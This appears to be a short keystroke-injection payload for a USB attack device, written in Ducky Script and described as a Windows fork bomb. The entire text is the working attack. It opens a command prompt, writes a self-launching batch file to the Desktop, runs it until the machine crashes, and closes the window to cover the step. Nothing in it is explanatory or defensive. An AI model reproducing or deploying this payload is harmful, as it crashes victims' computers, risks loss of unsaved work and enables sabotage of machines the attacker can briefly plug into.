This a windows fork bomb. When the script gets run it creates a batch file which continuously starts its self until the computer crashes.
DELAY 3000 GUI R DELAY 500 STRING cmd.exe DELAY 1000 ENTER DELAY 1000 STRING cd Desktop ENTER STRING copy con forkbomb.bat ENTER STRING @echo off ENTER STRING :start CTRL-S DELAY 500 STRING start forkbomb.bat ENTER
STRING goto start
ENTER
CTRL-Z
ENTER
STRING forkbomb.bat
ENTER ALT-F4